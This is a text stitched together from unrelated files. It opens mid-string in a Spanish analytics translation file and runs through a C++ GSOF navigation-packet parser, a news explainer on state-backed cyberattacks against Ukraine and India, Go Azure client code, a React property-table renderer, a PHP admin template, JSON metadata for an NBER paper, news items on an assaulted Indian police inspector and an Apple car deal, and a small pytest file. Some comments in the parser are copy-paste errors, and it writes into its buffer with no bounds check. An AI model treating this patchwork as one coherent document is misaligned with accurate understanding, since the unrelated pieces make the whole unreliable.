para este informe.", "UnFlattenDataTable": "Este informe es plano %s Hacelo jerárquico", "WebAnalyticsReports": "Informes de análisis web", "ClickRowToExpandOrContract": "Hacé clic para expandir o contraer la subtabla.", "UndoPivotBySubtable": "Este informe fue pivotado %s Deshacerlo", "NoSuchPage": "Esta página no existe", "PivotBySubtable": "Este informe no fue pivotado %1$s Pivote por %2$s", "SystemSummaryWidget": "Resumen del sistema", "SystemSummaryNWebsites": "%d sitios web", "SystemSummaryNSegments": "%d segmentos", "SystemSummaryNActivatedPlugins": "%d plugins activos", "SystemSummaryMysqlVersion": "Versión de MySQL", "SystemSummaryPhpVersion": "Versión de PHP", "QuickAccessTitle": "Buscar %s. Usá las teclas de flechas para navegar entre los resultados de la búsqueda. Atajo: presioná \"f\" para buscar.", "MenuEntries": "Entradas del menú", "Segments": "Segmentos", "ChangeCurrentWebsite": "Elegí un sitio web, actualmente está elegido: %s", "LeadingAnalyticsPlatformRespectsYourPrivacy": "La plataforma abierta líder de análisis que respeta tu privacidad." } }
json
<gh_stars>0 {"canvasXpress.css":"sha256-PnVut7tnNdt+B86PP+ZwpVR1RODdltg8o0hgpJA4QEE=","canvasXpress.min.css":"sha256-QHDXncc6xMIY6CBR6mHb3+naee02F4ef06Lvw7GVBj4=","canvasXpress.min.js":"sha2<KEY>}
json
#include <stdio.h> #include <string.h> #include <math.h> #include <stdlib.h> #include <limits.h> #include "apx15_gsof_parser.h" #include "ros/console.h" namespace apx15 { apx15Gsof::apx15Gsof() { } apx15Gsof::~apx15Gsof() { } void apx15Gsof::openLogParsedDataFile(void) { //pFile = fopen ("myfile.txt","w"); } /**********************************************************************/ U32 apx15Gsof::getU32(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 4 bytes and pack them into // a U32. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. { U32 retValue ; unsigned char * pBytes ; pBytes = (unsigned char *)(&retValue) + 3 ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes = *(*ppData)++ ; return retValue ; } /* end of getU32() */ /**********************************************************************/ float apx15Gsof::getFloat(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 4 bytes and pack them into // a Float. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. // This is designed to work on little-endian processors (Like Pentiums). // Effectively that means we reverse the order of the bytes. // This would need to be rewritten to work on big-endian PowerPCs. { float retValue ; unsigned char * pBytes ; pBytes = (unsigned char *)(&retValue) + 3 ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes = *(*ppData)++ ; return retValue ; } /* end of getFloat() */ /**********************************************************************/ double apx15Gsof::getDouble(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 8 bytes and pack them into // a Double. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. // This is designed to work on little-endian processors (Like Pentiums). // Effectively that means we reverse the order of the bytes. // This would need to be rewritten to work on big-endian PowerPCs. { double retValue ; unsigned char * pBytes ; pBytes = (unsigned char *)(&retValue) + 7 ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes = *(*ppData)++ ; return retValue ; } /* end of getDouble() */ /**********************************************************************/ unsigned short apx15Gsof::getU16(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 2 bytes and pack them into // a U16. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. // This is designed to work on little-endian processors (Like Pentiums). // Effectively that means we reverse the order of the bytes. // This would need to be rewritten to work on big-endian PowerPCs. { unsigned short retValue ; retValue = *(*ppData)++ ; retValue <<= 8 ; retValue += *(*ppData)++ ; return retValue ; } /* end of getU16() */ /**********************************************************************/ S16 apx15Gsof::getS16(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 2 bytes and pack them into // a S16. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. // This is designed to work on little-endian processors (Like Pentiums). // Effectively that means we reverse the order of the bytes. // This would need to be rewritten to work on big-endian PowerPCs. { S16 retValue ; retValue = *(*ppData)++ ; retValue <<= 8 ; retValue += *(*ppData)++ ; return retValue ; } /* end of getS16() */ /**********************************************************************/ S32 apx15Gsof::getS32(unsigned char * * ppData) /**********************************************************************/ // Used by the decoding routines to grab 4 bytes and pack them into // a S32. Fed ppData which is a pointer to a pointer to the start of // the data bytes. The pointer variable referenced by ppData is moved // beyond the four bytes. { S32 retValue ; unsigned char * pBytes ; pBytes = (unsigned char *)(&retValue) + 3 ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes-- = *(*ppData)++ ; *pBytes = *(*ppData)++ ; return retValue ; } /* end of getS32() */ /*********************************************************************** * The next section contains routines which are parsers for individual * GSOF records. They are all passed a length (which is listed but * usually not used) and a pointer to the data bytes that make up the * record. *********************************************************************** */ /**********************************************************************/ void apx15Gsof::processEventMarker(int length, unsigned char *pData) /**********************************************************************/ { unsigned char eventPort ; unsigned short eventWeekNumber ; double eventSeconds ; unsigned long eventNumber ; if (PRINT_DATA) { printf( " GsofType:51 - EventMarker len:%d\n", length) ; } eventPort = *pData++ ; eventWeekNumber = getU16( &pData ) ; eventSeconds = getDouble( &pData ) ; eventNumber = getU32( &pData ) ; if (PRINT_DATA) { printf(" EvtMrk%u wk:%u sec:%.6f #:%lu\n", eventPort, eventWeekNumber, eventSeconds, eventNumber ); } } /* end of processEventMarker() */ /**********************************************************************/ void apx15Gsof::processINSNavigationInfo(int length, unsigned char *pData) /**********************************************************************/ /* Parse the content of full navigation info for GSOF #49. pData is the pointer to the first byte of information in * the message. */ { if (PRINT_DATA) { printf(" GsofType:49 INS Navigation info len:%d\n", length ); } weekNum = getU16( &pData ) ; gpsTimeInMilliSec = getU32( &pData ) ; IMU_AlignmentStatus = *pData++ ; GPS_Quality = *pData++ ; latitude = getDouble( &pData ) ; longitude = getDouble( &pData ) ; altitude = getDouble( &pData ) ; northVelocity = getFloat( &pData ) ; eastVelocity = getFloat( &pData ) ; downVelocity = getFloat( &pData ) ; totalSpeed = getFloat( &pData ) ; roll = getDouble( &pData ) ; pitch = getDouble( &pData ) ; yaw = getDouble( &pData ) ; trackAngle = getDouble( &pData ) ; angularRate[0] = getFloat( &pData ) ; angularRate[1] = getFloat( &pData ) ; angularRate[2] = getFloat( &pData ) ; acceleration[0] = getFloat( &pData ) ; acceleration[1] = getFloat( &pData ) ; acceleration[2] = getFloat( &pData ) ; if (PRINT_DATA) { printf(" GPS week : %d \n" " GPS time (msec) : %d \n" " IMU alignment status : %d \n" " GPS Quality indicator : %d \n" " Latitude (degrees) : %f \n" " Longitude (degrees) : %f \n" " Altitude (m) : %f \n" " North velocity (m/s) : %f \n" " East velocity (m/s) : %f \n" " Down velocity (m/s) : %f \n" " Total speed (m/s) : %f \n" " Roll (degrees) : %f \n" " Pitch (degrees) : %f \n" " Yaw (degrees) : %f \n" " Track angle (degrees) : %f \n" " Angular rate (X) (deg/sec) : %f \n" " Angular rate (Y) (deg/sec) : %f \n" " Angular rate (Z) (deg/sec) : %f \n" " Longitudinal accelaration (X) (m/s^2) : %f \n" " Traverse acceleration (Y) (m/s^2) : %f \n" " Down acceleration (Z) (m/s^2) : %f \n", weekNum, gpsTimeInMilliSec, IMU_AlignmentStatus, GPS_Quality, latitude, longitude, altitude, northVelocity, eastVelocity, downVelocity, totalSpeed, roll, pitch, yaw, trackAngle, angularRate[0], angularRate[1], angularRate[2], acceleration[0], acceleration[1], acceleration[2] ); } gsof31Hreceived=1; } /* end of processINSNavigationInfo */ /**********************************************************************/ void apx15Gsof::processINSRMSInfo(int length, unsigned char *pData) /**********************************************************************/ /* Parse the content of RMS info for GSOF #50. This message * pData is the pointer to the first byte of information in the message. */ { if (PRINT_DATA) { printf(" GsofType:50 INS RMS info len:%d\n", length); } U16 weekNum = getU16( &pData ) ; U32 gpsTimeInMilliSec = getU32( &pData ) ; U8 IMU_AlignmentStatus = *pData++ ; U8 GPS_Quality = *pData++ ; northPositionRMS = getFloat( &pData ) ; eastPositionRMS = getFloat( &pData ) ; downPositionRMS = getFloat( &pData ) ; northVelocityRMS = getFloat( &pData ) ; eastVelocityRMS = getFloat( &pData ) ; downVelocityRMS = getFloat( &pData ) ; rollRMS = getFloat( &pData ) ; pitchRMS = getFloat( &pData ) ; yawRMS = getFloat( &pData ) ; if (PRINT_DATA) { printf(" GPS week : %d \n" " GPS time (msec) : %d \n" " IMU alignment status : %d \n" " GPS Quality indicator : %d \n" " North Position RMS (m): %f \n" " East Position RMS (m) : %f \n" " Down Position RMS (m) : %f \n" " North velocity RMS (m/s) : %f \n" " East velocity RMS (m/s) : %f \n" " Down velocity RMS (m/s) : %f \n" " Roll RMS (degrees) : %f \n" " Pitch RMS (degrees) : %f \n" " Yaw RMS (degrees) : %f \n", weekNum, gpsTimeInMilliSec, IMU_AlignmentStatus, GPS_Quality, northPositionRMS, eastPositionRMS, downPositionRMS, northVelocityRMS, eastVelocityRMS, downVelocityRMS, rollRMS, pitchRMS, yawRMS ); } } /* end of processINSRMSInfo */ /**********************************************************************/ void apx15Gsof::processUTC(int length, unsigned char *pData) /**********************************************************************/ /* Parse the content of UTC info for GSOF #16. This message * pData is the pointer to the first byte of information in the message. */ { if (PRINT_DATA) { printf(" GsofType:x10h UTC info len:%d\n", length ); } getU32( &pData ); // Time when packet is sent from the receiver, in GPS milliseconds of week getU16( &pData ); // Week number since the start of GPS time, already got it in #49. leapSecond = getS16(&pData); if(!leapSecondReceived) leapSecondReceived = true; } /*********************************************************************** * End of the GSOF subtype parsers. ********************************************************************** */ /**********************************************************************/ void apx15Gsof::processGsofData(void) /**********************************************************************/ /* Called when a complete set of GSOF packets has been received. * The data bytes collected are avialble in global gsofData and the * number of those bytes is in gsofDataIndex. * * This routine just goes through the bytes and parses the sub-type * records. Each of those has a Type and a Length. If the type is * one of the special types we know about, we call the proper parser. * Otherwise we just hex-dump the record. */ { int i ; int gsofType ; int gsofLength ; unsigned char * pData ; if (PRINT_DATA) { printf("\nGSOF Records\n"); } pData = gsofData ; while (pData < gsofData + gsofDataIndex ) { gsofType = *pData++ ; gsofLength = *pData++ ; // If the type is one that we know about, then call the specific // parser for that type. switch (gsofType) { case 1 : case 2 : case 3 : case 4 : case 6 : case 7 : case 8 : case 9 : case 10 : case 11 : case 12 : case 13 : case 14 : case 15 : case 16 ://message type 10h, Current UTC time processUTC( gsofLength, pData); break; case 23 : case 25 : case 26 : case 27 : case 31 : case 33 : case 34 : case 35 : case 37 : case 40 : case 41 : case 44 : case 45 : case 46 : case 47 : case 52: break ; case 49 : processINSNavigationInfo( gsofLength, pData ) ; break ; case 50 : processINSRMSInfo( gsofLength, pData ) ; break ; case 51 : processEventMarker( gsofLength, pData ) ; break ; default: { if (PRINT_DATA) { // Not a type we know about. Hex dump the bytes and move on. printf(" GsofType:%d len:%d\n ", gsofType, gsofLength); } U8 *p = pData ; for ( i = 0 ; i < gsofLength ; ++i ) { if (PRINT_DATA) { printf( "%02X%s", *p++, i % 16 == 15 ? "\n " : " "); } } // Terminate the last line if needed. if (gsofLength % 16 != 0) { if (PRINT_DATA) { printf( "\n" ) ; } } } } // End of switch(). // Step the data pointer past the full record. pData += gsofLength ; if (PRINT_DATA) { printf("\n"); } } if (PRINT_DATA) { printf("\n"); } } /* end of processGsofData() */ /**********************************************************************/ void apx15Gsof::postGsofData(unsigned char * pData, int length) /**********************************************************************/ // Called whenever we get a new Trimcomm GSOF packet (type 0x40). // These all contain a portion (or all) of a complete GSOF packet. // Each portion contains a Transmission Number, an incrementing value // linking related portions. // Each portion contains a Page Index, 0..N, which increments for each // portion in the full GSOF packet. // Each portion contains a Max Page Index, N, which is the same for all // portions. // // Each portion's data is appended to the global buffer, gsofData[]. // The next available index in that buffer is always gsofDataIndex. // When we receive a portion with Page Index == 0, that signals the // beginning of a new GSOF packet and we restart the gsofDataIndex at // zero. // // When we receive a portion where Page Index == Max Page Index, then // we have received the complete GSOF packet and can decode it. { int gsofTransmissionNumber ; int gsofPageIndex ; int gsofMaxPageIndex ; int i ; gsofTransmissionNumber = *pData++ ; gsofPageIndex = *pData++ ; gsofMaxPageIndex = *pData++ ; if (PRINT_DATA) { printf(" GSOF packet: Trans#:%d Page:%d MaxPage:%d\n", gsofTransmissionNumber, gsofPageIndex, gsofMaxPageIndex ); } // If this is the first portion, restart the buffering system. if (gsofPageIndex == 0) gsofDataIndex = 0 ; // Transfer the data bytes in this portion to the global buffer. for ( i = 3 ; i < length ; ++i ) gsofData[ gsofDataIndex++ ] = *pData++ ; // If this is the last portion in a packet, process the whole packet. if (gsofPageIndex == gsofMaxPageIndex) processGsofData() ; } /* end of postGsofData() */ unsigned char apx15Gsof::grabGsof(unsigned char * pData, int length) { static int tcStx; static int tcStat; static int tcType; static int tcLength; static int tcCsum; static int tcEtx; static unsigned char tcData[256]; int i; static unsigned char tcStxFlag = 0; static unsigned char counter1 = 0; static unsigned char headerFlag = 0; static unsigned char headerBuf[3]; static unsigned char counter2 = 0; static unsigned char dataFlag = 0; static unsigned char counter3 = 0; static unsigned char endBuf[2]; gsof31Hreceived=0; for (i = 0; i < length; i++) { if (pData[i] == 0x02 && tcStxFlag == 0) { tcStx = pData[i]; tcStxFlag = 1; counter1 = 0; } else { if (tcStxFlag == 1 && headerFlag == 0) { headerBuf[counter1] = pData[i]; counter1++; if (counter1 == 3) { tcStat = headerBuf[0]; tcType = headerBuf[1]; tcLength = headerBuf[2]; headerFlag = 1; counter2 = 0; } } else { if (headerFlag == 1 && dataFlag==0) { tcData[counter2] = pData[i]; counter2++; if (counter2 == tcLength) { dataFlag = 1; counter3 = 0; } } else { if (dataFlag == 1) { endBuf[counter3] = pData[i]; counter3++; if (counter3 == 2) { tcCsum = endBuf[0]; tcEtx = endBuf[1]; if (PRINT_DATA) { printf("STX:%02Xh Stat:%02Xh Type:%02Xh " "Len:%d CS:%02Xh ETX:%02Xh\n", tcStx, tcStat, tcType, tcLength, tcCsum, tcEtx ); } if (tcType == 0x40) postGsofData(tcData, tcLength); tcStxFlag = 0; headerFlag = 0; counter1 = 0; counter2 = 0; dataFlag = 0; counter3 = 0; } } //end if (dataFlag == 1) } } } } // end of for (i = 0; i < length; i++) return(gsof31Hreceived); } } //namespace apx15
cpp
Alongside the missiles and bombs slamming down in Ukraine, the country has also been hit by a wave of cyberattacks targeting critical infrastructure companies. The timing and scale of the attacks point towards hackers working at the behest of Russia. Mint explains: What has happened in Ukraine so far? Ukraine has been one of the primary targets of Russia since 2020. The recent spate of attacks started in mid-January and knocked out websites of the ministry of foreign affairs and the ministry of education. The attacks have intensified in the last few weeks and now, banks in Ukraine are being targeted. Ukraine’s minister of digital transformation said this week that more government websites and a number of banks have been hit by another mass distributed denial of service (DDoS) attacks this week. DDoS attacks disrupt online services by overwhelming websites with more traffic than their server can handle. What is cyberwarfare? Cyberwarfare has emerged as a new form of retaliation or passive aggression deployed by nations that do not want to go to actual war but want to send a tough message to their opponents. In June 2020, security experts from Cyfirma uncovered a conspiracy by Gothic Panda and Stone Panda, two China-based hacker groups, to target media and critical infra companies in India with large-scale attacks amid the border stand-off between India and China in Ladakh. For many countries, cyberwarfare is a never-ending battle as it allows them to constantly harass and weaken geopolitical rivals. Russia is one of the top perpetrators of state-backed cyberattacks, followed by North Korea, Iran and China. Which sectors are targeted and why? State-backed cyberattacks are usually carried out to steal state secrets, trade deals and weapons blueprint, or target large multinationals to steal their intellectual property (IP) and use it to build local industry. Cryptos are also on the radar now. North Korean hackers reportedly stole cryptos worth $400 million in 2021. However, when states launch cyberattacks on other states as a result of worsening of geopolitical relations, the target is usually critical infrastructure firms to disrupt economic activity. According to Microsoft, government agencies, NGOs and think tanks are most targeted followed by education, IT and health. How often is India targeted? Such cyberattacks rose 100% bet-ween 2017 and 2021, according to a global study by Hewlett-Packard and the University of Surrey. Though India is not one of the top targets of nation state backed attackers, several state-backed attacks on India have been reported in recent years. For instance, in 2019, the administrative network of the Kudankulam Nuclear Power Plant was hit by a malware attack by North Korea-backed Lazarus Group. China-backed hackers were believed to be behind a power outage in Mumbai in 2020. According to Black Lotus Labs, Pakistan-based hackers targeted power firms and one government organization in India in early 2021 using Remote Access Trojans.
english
package network // Copyright (c) Microsoft Corporation. // Licensed under the Apache License 2.0. import ( "context" mgmtnetwork "github.com/Azure/azure-sdk-for-go/services/network/mgmt/2020-08-01/network" ) // FlowLogsClientAddons contains addons to WatchersClient type FlowLogsClientAddons interface { CreateOrUpdateAndWait(ctx context.Context, resourceGroupName string, networkWatcherName string, flowLogName string, parameters mgmtnetwork.FlowLog) error DeleteAndWait(ctx context.Context, resourceGroupName string, networkWatcherName string, flowLogName string) error } func (c *flowLogsClient) CreateOrUpdateAndWait(ctx context.Context, resourceGroupName string, networkWatcherName string, flowLogName string, parameters mgmtnetwork.FlowLog) error { future, err := c.FlowLogsClient.CreateOrUpdate(ctx, resourceGroupName, networkWatcherName, flowLogName, parameters) if err != nil { return err } return future.WaitForCompletionRef(ctx, c.Client) } func (c *flowLogsClient) DeleteAndWait(ctx context.Context, resourceGroupName string, networkWatcherName string, flowLogName string) error { future, err := c.FlowLogsClient.Delete(ctx, resourceGroupName, networkWatcherName, flowLogName) if err != nil { return err } return future.WaitForCompletionRef(ctx, c.Client) }
go
/** * @file 表格的方式显示只读信息,比如产品详情 */ import React from 'react'; import {Renderer, RendererProps} from '../factory'; import {BaseSchema, SchemaExpression, SchemaObject, SchemaTpl} from '../Schema'; import PopOver from './PopOver'; import {resolveVariable} from '../utils/tpl-builtin'; import {visibilityFilter} from '../utils/helper'; export type PropertyItemProps = { /** * 属性名 */ label?: SchemaTpl; /** * 属性值 */ content?: SchemaTpl; /** * 配置是否显示,如果不显示,后续的节点会补上来 */ visibleOn?: SchemaExpression; /** * 配置是否显示,如果不显示,后续的节点会补上来 */ hiddenOn?: SchemaExpression; /** * 跨几列 */ span?: number; }; export type PropertyItem = PropertyItemProps & SchemaObject; /** * Property 属性列表 * 文档:https://baidu.gitee.io/amis/docs/components/property */ export interface PropertySchema extends BaseSchema { /** * 指定为 property 展示类型 */ type: 'property'; /** * 标题 */ title?: string; /** * 一共几列 */ column?: number; /** * 显示模式 */ mode?: 'table' | 'simple'; /** * 每个 property 的设置 */ items: Array<PropertyItem>; /** * 自定义样式 */ style?: { [propName: string]: any; }; /** * 标题样式 */ titleStyle?: { [propName: string]: any; }; /** * 自定义样式 */ labelStyle?: { [propName: string]: any; }; separator?: string; /** * 自定义样式 */ contentStyle?: { [propName: string]: any; }; } export interface PropertyProps extends RendererProps, Omit<PropertySchema, 'type' | 'className'> {} interface PropertyContent { label: any; content: any; span: number; } export default class Property extends React.Component<PropertyProps, object> { constructor(props: PropertyProps) { super(props); } /** * 算好每行的分布情况,方便后续渲染 */ prepareRows() { const {column = 3, items, source, data} = this.props; const propertyItems = items ? items : (resolveVariable(source, data) as Array<PropertyItem>); const rows: PropertyContent[][] = []; let row: PropertyContent[] = []; let columnLeft = column; let index = 0; const filteredItems = visibilityFilter(propertyItems, data); for (const item of filteredItems) { index = index + 1; const span = Math.min(item.span || 1, column); columnLeft = columnLeft - span; const rowItem = { label: item.label, content: item.content, span: span }; // 如果还能放得下就放这一行 if (columnLeft >= 0) { row.push(rowItem); } else { rows.push(row); columnLeft = column - span; row = [rowItem]; } // 最后一行将最后的数据 push if (index === filteredItems.length) { rows.push(row); } } return rows; } renderRow(rows: PropertyContent[][]) { const { render, contentStyle, labelStyle, separator = ': ', mode = 'table' } = this.props; return rows.map((row, key) => { return ( <tr key={key}> {row.map((property, index) => { return mode === 'table' ? ( <React.Fragment key={`item-${index}`}> <th style={labelStyle}>{render('label', property.label)}</th> <td colSpan={property.span + property.span - 1} // 需要再补上 th 所占的列数 style={contentStyle} > {render('content', property.content)} </td> </React.Fragment> ) : ( <td colSpan={property.span} style={contentStyle} key={`item-${index}`} > <span style={labelStyle}> {render('label', property.label)} </span> {separator} {render('content', property.content)} </td> ); })} </tr> ); }); } render() { const { style, title, column = 3, classnames: cx, className, titleStyle, mode = 'table' } = this.props; const rows = this.prepareRows(); return ( <div className={cx('Property', `Property--${mode}`, className)} style={style} > <table> {title ? ( <thead> <tr> <th colSpan={mode === 'table' ? column + column : column} style={titleStyle} > {title} </th> </tr> </thead> ) : null} <tbody>{this.renderRow(rows)}</tbody> </table> </div> ); } } @Renderer({ test: /(^|\/)property$/, name: 'property' }) export class PropertyRenderer extends Property {}
typescript
{extend name="base" /} {block name="title"} 坐标列表 {/block} {block name="style"} <style> .container { padding: 15px; } </style> {/block} {block name="content"} <div class="container"> <table class="layui-table"> <colgroup> <!-- <col width="150"> --> <!-- <col width="200"> --> <!-- <col> --> </colgroup> <thead> <tr> <th>校区</th> <th>分类</th> <th>建筑名称</th> <th>纬度</th> <th>经度</th> <th>地址</th> <th>描述</th> <th>操作</th> </tr> </thead> <tbody> {volist name="list" id="item"} <tr> <td>{$item.campus.name}</td> <td>{$item.placeType.name}</td> <td>{$item.name}</td> <td>{$item.latitude}</td> <td>{$item.longitude}</td> <td>{$item.address}</td> <td>{$item.description}</td> <td> <a href="/admin/latlng/edit?id={$item.id}"type="button" class="layui-btn layui-btn-normal layui-btn-sm">修改</a> <button data-id="{$item.id}" type="button" class="delete layui-btn layui-btn-danger layui-btn-sm">删除</button> </td> </tr> {/volist} </tbody> </table> <!-- 分页: --> <div class="layui-box layui-laypage layui-laypage-default" id="layui-laypage-2"> <!-- 上一页 --> {if ($page<=1)} <a href="javascript:;" class="layui-laypage-prev layui-disabled">上一页</a> {else /} <a href="{$pageurl}?page={$page-1}" class="layui-laypage-prev jump">上一页</a> {/if} <!-- 首页显示 --> {if ($page==1)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>1(首页)</em></span> {else /} <a href="{$pageurl}?page=1" class="jump">1(首页)</a> {/if} <!-- 首页显示 --> <!-- 中间页码 --> {if ($pageMax<15)} <!-- 当总页数小于15时 渲染全部页码 --> {for start="2" end="$pageMax" name="i"} {if ($page==$i)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>{$i}</em></span> {else /} <a href="{$pageurl}?page={$i}" class="jump">{$i}</a> {/if} {/for} {else /} <!-- 当总页数大于15时 渲染部分页码 --> {if ($page<=7)} <!-- 当前页码较少时 当前页码接近首页(差值小于5) 左侧无省略号 --> {for start="2" end="$page+5" name="i"} {if ($page==$i)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>{$i}</em></span> {else /} <a href="{$pageurl}?page={$i}" class="jump">{$i}</a> {/if} {/for} <span class="layui-laypage-spr">…</span> {elseif ($pageMax-$page<=7) /} <!-- 当前页码较大时 当前页码接近尾页(差值小于5) 右侧无省略号 --> <span class="layui-laypage-spr">…</span> {for start="$page-5" end="$pageMax" name="i"} {if ($page==$i)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>{$i}</em></span> {else /} <a href="{$pageurl}?page={$i}" class="jump">{$i}</a> {/if} {/for} {else /} <!-- 当前页码不大不小时 既不接近首页也不接近尾页(差值均大于5) 左右侧均有省略号 --> <span class="layui-laypage-spr">…</span> {for start="$page-5" end="$page+6" name="i"} {if ($page==$i)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>{$i}</em></span> {else /} <a href="{$pageurl}?page={$i}" class="jump">{$i}</a> {/if} {/for} <span class="layui-laypage-spr">…</span> {/if} {/if} <!-- 中间页码 --> <!-- 尾页显示 --> {if ($pageMax > 1)} <!--总页数大于1才能显示--> {if ($page==$pageMax)} <span class="layui-laypage-curr"><em class="layui-laypage-em"></em><em>{$pageMax}(尾页)</em></span> {else /} <a href="{$pageurl}?page={$pageMax}" class="jump">{$pageMax}(尾页)</a> {/if} {/if} <!-- 尾页显示 --> <!-- 下一页 --> {if ($page>=$pageMax)} <a href="javascript:;" class="layui-laypage-last layui-disabled">下一页</a> {else /} <a href="{$pageurl}?page={$page+1}" class="layui-laypage-last jump">下一页</a> {/if} <span>共{$total}条数据</span> <!-- --> </div> </div> {/block} {block name="script"} <script> layui.use(['element', 'layer'], function() { var layer = layui.layer; // 给每个页码按钮加上查询参数 $('.jump').each(function(index, element) { var href = $(element).attr('href')+'&{$param}'; $(element).attr('href', href); }); $('.delete').click(function(e) { var id = $(e.target).attr('data-id'); layer.confirm('确认删除吗', function() { // layer.msg('执行删除'); request( { url: "/admin/api/building/delete", data: {id: id} }, { success: function(res, status) { layer.msg(res.msg); refresh(); }, error: function(res, status) { layer.alert(res); } } ); }); }); }); </script> {/block}
html
<gh_stars>0 { "text.game_gui.join.config": "Game config: %s", "text.game_gui.join.type": "Game type: %s", "text.game_gui.join.player_count": "Player count: %s", "text.game_gui.gui.join": "Join Game", "text.game_gui.gui.open": "Open Game", "text.game_gui.gui.create": "Create Game" }
json
{ "id": 27337, "citation_title": "Party On: The Labor Market Returns to Social Networks and Socializing", "citation_author": [ "<NAME>", "<NAME>", "<NAME>", "<NAME>" ], "citation_publication_date": "2020-06-08", "issue_date": "2020-06-05", "revision_date": "2020-06-16", "topics": [ "Health, Education, and Welfare", "Education", "Labor Economics", "Labor Compensation" ], "program": [ "Children", "Economics of Education", "Labor Studies" ], "projects": null, "working_groups": null, "abstract": "\n\nA person\u2019s schooling years are a formative time for cognitive development, and also a period of intense social interaction and friendship formation. In this paper, we estimate the production of social capital during adolescence and its effect on wages. We develop a model where homophily and coordination play crucial roles in the decision to socialize and study, which in turn determine educational attainment, network formation, and labor market outcomes. We document that individuals make investments to accumulate friends and other forms of social capital. Sometimes these investments compete with schooling investments (particularly when they involve alcohol consumption), but not always. These social investments have payoffs in the labor market and cannot be thought of as pure leisure. We estimate that receiving five to six friend nominations in adolescence has an impact on wage earnings of approximately 10%, comparable to a broad set of estimates of the return to an additional year of schooling. Therefore, policies that alter the schooling environment should be evaluated by their impacts on social capital as well as their impact on education.\n\n", "acknowledgement": "\nWe are grateful to seminar participants at Northwestern University, SOCCAM, the all-California Labor Economics conference and Santa Barbara University. This project was supported by the California Center for Population Research at UCLA (CCPR), which receives core support (P2C- HD041022) from the Eunice Kennedy Shriver National Institute of Child Health and Human Development (NICHD). Research done prior to joining Audible. Audible is a subsidiary of Amazon. All views contained in this research are the author's own and do not represent the views of Amazon or its affiliates. All errors are our own. The views expressed herein are those of the authors and do not necessarily reflect the views of the National Bureau of Economic Research.\n\n\n" }
json
In Uttar Pradesh's Bijnor, a suspended inspector was beaten up in a crowded market. The incident is of that time, when the inspector was going back to his house with vegetables. The bike riders who came to the market caught him. The masked men started beating him with sticks. By the time the crowd gathered at the spot, the unidentified assailants fled from there.Inspector Arun Kumar posted in Haldaur police station was recently suspended for slapping a local worker of Rashtriya Swayamsevak Sangh. The fire of this matter was not yet extinguished that a big incident happened again. It has been told that four masked youths attacked the inspector who came out to buy goods from the market last night.This incident happened near Jhalu, where Arun Kumar Rana lives in a rented room. Masked youths attacked the inspector with sticks and sticks. By the time the inspector could understand anything, the unknown assailants overpowered him. A crowd of people started gathering on the spot, seeing that the attackers fled from there.At the same time, there was panic in the police department due to the information about this attack on the inspector. As soon as the information was received, SP City and CO along with the force of several police stations reached the spot. On the complaint of the Inspector, a case has been registered against four unknown people under the section of assault and threatening to kill.On the other hand, the victim's inspector says that he had a dispute with RSS worker Umang Kakran two days ago, in which Umang Kakran wanted to falsely report on a character certificate. For this he had refused.The inspector alleges that when he came to collect goods from the market, he along with his three companions attacked him and beat him to the ground. The inspector said that not only this, he has also been threatened.At the same time, after this attack on the inspector, the police has started investigating the matter. Police officials say that the search is on for the unknown assailants, they will be arrested soon.
english
CNBC's automotive reporter Phil LeBeau this evening reports that Apple is "close to finalizing a deal with Hyundai Kai to manufacture an Apple-branded autonomous vehicle at the Kia plant in West Point, Georgia," referring to South Korea's Hyundai Motor Group, citing multiple unnamed sources. The vehicle is tentatively scheduled for a 2024 production run, writes LeBeau. LeBeau's report follows Hyundai last month confirming that it was in talks with Apple for a potential collaboration to develop the so-called Apple Car. Speculation has swirled on Wall Street whether a collaboration would be for a vehicle carried under Apple's brand name, or just a technology partnership to put Apple software into a Hyundai car. LeBeau's report suggests that it is the former, a fully-fledged Apple product. Writes LeBeau, "the tech giant wants to build the 'Apple Car' in North America with an established automaker willing to allow Apple to control the software and hardware that will go into the vehicle." "In other words, this will be an 'Apple Car,' not a Kia model featuring Apple software," adds LeBeau. LeBeau notes that sources tell him Apple could get ink a deal with another automaker, and that Apple is believed to be talking with other car makers.
english
<gh_stars>1-10 import pytest from tests.test_application import app @pytest.fixture def client(): client = app.test_client() yield client def test_hello_resource(client): """ Test if it is possible to access to /hello resource :param client: Test client object :return: """ response = client.get('/hello').get_json() assert response['hello'] == 'world' def test_asset_found(client): """ Test if Swagger assets are accessible from the new path :param client: Test client object :return: """ response = client.get('/this_is_a_new/path_for_swagger_internal_documentation/swaggerui/swagger-ui-bundle.js') assert response.status_code is 200
python
